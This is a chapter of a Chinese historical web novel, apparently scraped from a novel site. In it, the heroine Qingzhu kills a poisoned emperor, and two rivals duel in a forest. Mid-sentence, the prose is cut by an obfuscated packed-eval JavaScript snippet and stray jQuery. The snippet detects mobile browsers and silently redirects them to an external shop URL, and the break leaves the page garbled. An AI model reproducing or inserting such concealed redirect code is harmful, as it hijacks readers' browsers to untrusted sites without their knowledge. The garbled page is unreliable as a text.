文趣网 > 其他小说 > 染血牡丹 > 43.第 43 章
    章骆和魏启引以为傲的方法,自以为天衣无缝,虽然防备了魏冉却也没想过祝轻就是青竹,也没想到太监既然能被他们所收买,自然也可以被别人所收买。

    而在这整个事件中看似从未参与的周宣,却是这最后结果的最大推动者,他在夜郎中所救的人共同为两人编织了一层梦幻的泡沫。

    时间倒退,在太监上门宣称皇帝的口谕时,青竹早已做好了准备,她换上了纯洁无垢的白色衣服,通体朴素没有花纹。

    本来面见圣上的时候并不可以携带利器,可是青竹却明晃晃的在腰间悬挂了一把长剑,而守门的侍卫们还有带头的太监竟然都视若无睹。

    那时正到黄昏时刻,当青竹踏进养心殿中时,门在身后缓缓关闭,橘红的残阳从朦胧的窗纸透进来,将空荡荡的大殿蒙上一层沧桑。

    而就在这光照不到的暗处里,多疑刚愎自用了一辈子的骄傲君王抬起了他满是苍老痕迹的脸。

    他是被下了毒,可在魏冉的示意下,毒下的并不多,刚好让他可以不能动也无力说话,撑着残破的身体等着青竹的到来。

    青竹逆光而站,夕阳照不亮她的表情,却让他再一次的恍惚,全身犹如蚁虫咬啮般的疼痛更让他的脑子发昏,没了往常的自制力,向前探了探身体喃喃道:“是青竹吗.......”

    这样的称呼,似乎唤醒了从前。

    小小的姑娘睁着水灵灵的猫眸,乖巧的牵着父亲的手,好奇的打量着他。

    那是小青竹第一次见到这个被爹爹挂在嘴里,说要一生效忠的帝王。

    他似乎和小青竹想象中的不一样,听着百姓说,皇帝是最喜怒无常的人,每一个在军营的叔叔都说皇帝有股威仪,令人只是看一眼就会心生畏惧。

    可是眼前的伯伯却好像没那么可怕。

    而皇帝也很喜欢这个胆大的小丫头,同自己的亲生孩子那般的胆怯模样不相同,没人像这个小丫头一样,不把自己当成皇帝,而只是一个普通的邻家伯伯。

    他是一个无权又被先皇厌弃的皇子,终日在无休无止的夺位争夺间夹缝求生,谁都可以轻易的杀了他。

    这样的环境下,他多疑,而也在这样的氛围下同化,他渴望权利,至高无上的权利。

    就算是百般筹谋下夺得了皇位,也终日忧心忡忡,看着自己的皇子,居然会生出他们会抢走自己皇位的荒唐想法。

    故而他从不会抱一抱自己的孩子,哪怕是公主,但同时他内心中又渴望和臣子或者寻常百姓家一样,被儿女绕膝。

    这样的心态很扭曲,他也清楚的明白,可本性这种东西由不得他说了算。

    直到不怕他的青竹出现,这样的小丫头不会继承他父亲的爵位,也不会对他产生任何的威胁,这样的情况下,他才将自己难得的那点慈父心全用在了青竹的身上。

    他给予青竹自由的权利,赐给她安宁郡主的名号,看着她一点点的长大,就像看着自己的亲生女儿一样。

    可到最后,无论是怎样的情谊也都抵不上一瞬间的猜疑。

    留下青竹一命可能除了戚若风和章骆的极力劝说,还有他那仅存的一点良心。

    可能真的快要死了,本来不曾在意和后悔的念头这时候都涌了上来,他苦笑一声:“青竹那丫头都死了,你是祝轻,朕新封的侯,但朕还记得青竹那小丫头小的时候还老缠着朕,跟朕说‘皇伯伯,我长大了也要和父亲一样,做皇伯伯的大将军,保护皇伯伯’。”

    他自言自语,表情时而笑时而愁,最后都化做了长长的一声叹息:“朕千防万防却还是防错了人,杀了不该杀的,信了不该信的,这样的下场朕也认了。”

    青竹静静的听着,好一会儿才发出一声突兀的冷笑,她抬眸不再压低自己的声音:“那皇伯伯可后悔?”

    浑浊的眼神一瞬间瞪大,他的手把住冰凉的龙头:“你.......竟真的是......青竹?”

    青竹望着他的脸,她觉得自己本该是恨他的,但是现在心中却五味杂陈:“没想到吧,杀了你的还是薛家的人,可若是你当初没有杀了我爹爹,至今你还是至高无上万人敬仰的皇帝,杀了我爹爹,你可曾后悔?”

    可皇帝却只是放松了身体,靠着椅背,嗬嗬的笑出声:“青竹啊青竹,怎么事到如今还问这种废话。”他眼眸显出点寒光来,散发着他多年身为帝王的威压:“帝王之塌岂容他人鼾睡,你父军功名望都太盛,无论放在哪一朝哪一代都是会被帝王诛杀,只不过朕时运不济罢了,若说后不后悔......”

    “那后悔的,便是留了你一命!”

    冷酷无情,就算到了穷途末路的地步,也不说一句软话。

    青竹心中那丝犹豫瞬间散去,她笑出来,一步步踏上登上龙椅的台阶,慢慢的靠近着这个曾经不可一世的帝王,眼睛死死的盯着他,全是滔天的仇恨怒火。

    她将腰间的长剑拔出来,银白剑身泛着冷冽的光,被她放在皇帝的脖子上,可即使到了这种地步,皇帝亦不曾流露出半点害怕。

    青竹将脸上的人皮面具揭开,露出那张属于她真正的容貌。

    皇帝看着她的脸,难得带了点笑意:“确实长大了,眼神坚毅,确实也做到了你小时候说的,当朕的大将军的事情。”

    虽然最后的目的是来杀他的。

    青竹唇角扬起,眼眶通红满溢着泪水:“我亲手斩下了王朝,单于的人头,拿他们的人头祭祀我的亲人,接下来也该轮到你了。”

    她用力将锋利的刀刃推进他的皮肉中,她与他说了最后的一句话:“陛下好走!”

    “皇伯伯,好走......”

    话落的一瞬间,她用了所有的力气,鲜血喷涌而出,渐染了一切,鲜血滴在她的脸上,和着泪水滚滚而落。

    章骆被压入大牢,三皇子魏启身死,一切都尘埃落定。

    但只还有一个人不知所踪。

    “我派了士兵去戚府捉拿戚若风,可却没找到他本人,不过你放心,我已经发了搜捕令,料想他就算逃的再快也走不了太远。”魏冉如

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731841|204416||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是说道。

    可青竹听了,却只感觉不安,她下意识的揪住衣领,皱了眉。

    这种心慌的感觉她再熟悉不过,上一次出现的时候,是周宣。

    她忽然想起了宴霆。

    可是又安慰自己,宴霆早就在昨天的时候,被她命令着去夜郎清风观与张寅他们汇合,她让他老老实实的等着自己。

    宴霆那样的人,不可能不听她的话的。

    青竹这样安慰自己,可还是按耐不住心中越来越浓的恐慌。

    她衣服没换的就出了宫,准备写信给张寅,可她刚提起笔的时候,一只信鸽却先扑棱进来,她心脏一跳,呼吸有些急促。

    但还是强行镇定了心神,取下了那信纸,将它展开。

    只一眼,她手一抖,纸条轻飘飘的落在地上。

    随着急促的凌乱脚步声,那张卷起来的纸被踩平。

    而上面写着:宴霆未至,恐有危险。

    树林中落叶纷纷,像是一场大雨,随着两人的打斗,林中树木的枝干上显现出无数的划痕。

    又一次的刀刃相接后,两人都被对方的力道震的退后。

    此时的两人身上都有着密密麻麻的伤口,累的气喘吁吁,但是都紧紧盯着对方,眼神凶狠。

    而这两人正是失踪的宴霆和戚若风。

    诚如青竹所说,晏霆从不会违背她的话,但是只有一个情况除外,那就是关乎青竹的安危。

    而晏霆也从没忘过,眼前这个曾经自己的主子,是如何折磨青竹的。

    在青竹去完成她的使命时,晏霆也选择遵从自己的心意,去为她杀了戚若风。

    刚好,戚若风也是这样。

    他本来答应了章骆,在他们篡位成功时在宫外调兵与他们里应外合把所有阻碍都清除掉。

    但他并未遵守,章骆自以为诱惑的条件,在他这里都是一片虚无。

    他此生的执念只有青竹。

    纵使他为了得到她,做了无数不可饶恕的事情,但是他从没有后悔过,即使是如今,大势已去,无论他是否死在晏霆的手里,他也不得善了。

    可他已经疯了,很早以前就疯了。

    “你说……”戚若风勾起唇角,异色双瞳中浮现癫狂,表情扭曲:“当青竹看见你被我碎尸万段,会不会很恨我?”

    他没等晏霆回答,自顾自的笑起来:“一定会的!即使不是你是其他人她也会伤心,只有我……”

    他喃喃着,怅然惨淡一笑:“只有我死了,她不会为我留下任何一滴眼泪,甚至不会记住我。”

    他现在像个被世界抛弃的人,可怜可悲。

    可晏霆听着这些话,只觉得好笑也觉得他啰嗦,他提起剑,眼神一厉,立马攻了过去。

    戚若风自然察觉,不要命的刺了过去。

    两人都不约而同的,没顾自己安危,直接刺向对方的要害。

    只是他们都太合格了,连对方躲闪的角度都猜好,这样同归于尽的致命杀招最终只刺到了彼此的肩膀上。